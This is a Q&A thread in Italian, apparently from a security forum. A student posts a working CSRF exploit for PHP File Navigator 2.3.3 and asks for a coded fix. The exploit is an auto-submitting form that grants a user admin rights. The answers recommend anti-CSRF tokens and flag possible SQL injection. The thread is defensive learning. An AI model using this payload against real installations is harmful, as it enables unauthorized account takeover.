Possibile contromisura / correzione per questo codice di exploit php?

2

Ho trovato questo codice di exploit di escalation di privilegi sul sito Web di vulnerabilità exploit-db e come incarico ho bisogno di determinare quale contromisura userò per correggere questo exploit. Come parte dei criteri di assegnazione, la correzione deve essere codificata.

Sono ancora nuovo nello sfruttare vulnerabilità e php, quindi ho un po 'di difficoltà a capire come correggerlo. Ho preso in considerazione l'implementazione del privilegio minimo o della separazione dei privilegi, ma non so come potrebbero essere impiantati. Quale sarebbe una contromisura o correzione appropriata per questa vulnerabilità?

Sistema: PHP File Navigator 2.3.3

Codice exploit:

<!DOCTYPE>
<html>
<script>
function pwn(){
var e=document.getElementById('ELEVATO_DE_PRIVLOS')
e.submit()

}
</script>
<body onLoad="pwn()">


<!-- Escalate privs to that of Admin -->

<form id="ELEVATO_DE_PRIVLOS" action="
http://localhost/PHPfileNavigator/pfn-2.3.3/xestion/usuarios/gdar.php"
method="post">
<input type="hidden" name="id_usuario" value="5" />
<input type="text" id="nome" name="nome" value="b2" class="text"
tabindex="10" />
<input type="text" id="usuario" name="usuario" value="b2" class="text"
tabindex="20" />
<input type="password" id="contrasinal" name="contrasinal"
value="abc123" class="text" tabindex="30" />
<input type="password" id="rep_contrasinal" name="rep_contrasinal"
value="abc123" class="text" tabindex="40" />
<input type="text" id="email" name="email" value="[email protected]" class="text"
tabindex="50" />
<input type="text" id="max_descargas" name="max_descargas" value="0"
class="text" tabindex="60" />
<input type="text" id="actual_descargas" name="actual_descargas"
value="0" class="text" tabindex="70" />
<select id="cambiar_datos" name="cambiar_datos" tabindex="75">
<option value="1" >ON</option>
<option value="0" selected="selected">OFF</option>
</select>
<select id="id_grupo" name="id_grupo" tabindex="80">
<option value="1" selected="selected">Administrators</option>
</select>
<select id="admin" name="admin" tabindex="90">
<option value="1" selected="selected">ON</option>
<option value="0">OFF</option>
</select>
<select id="estado" name="estado" tabindex="100">
<option value="1" selected="selected">ON</option>
<option value="0" >OFF</option>
</select>
<input type="checkbox" id="Fraices_1" name="Fraices[]" value="1"
class="checkbox" />
</form>

</body>
</html>
    
posta Osiris93 09.10.2016 - 20:01
fonte

2 risposte

1

Questo non è sicuramente un exploit per CVE-2011-3775 , che è una vulnerabilità di perdita di informazioni piuttosto bassa gravità.

Ciò che è è un exploit per una vulnerabilità CSRF , in modo che è ciò di cui dovresti difendere. Vedi ad esempio OWASP sulla difesa contro CSRF

    
risposta data 09.10.2016 - 20:28
fonte
0

Quindi l'intero problema è che puoi inviare arbitrariamente quel modulo al tuo gdar.php. gdar.php dovrebbe consentire solo l'invio di informazioni da parte di determinate pagine, ciò può essere realizzato con cookie / token di sessione per verificare che si trovino su una determinata pagina e che siano determinati utenti con determinati privilegi. Consulta il cheat di sicurezza OWASP PHP per ulteriori informazioni sulla prevenzione di CSRF.

Anche guardando il codice gdar.php sembra che sia suscettibile a una SQL Injection visto che, semplicemente, prende il testo inviato dai campi del post in una query. Controlla questa risorsa per l'arresto di SQLi in PHP.

    
risposta data 06.02.2017 - 21:51
fonte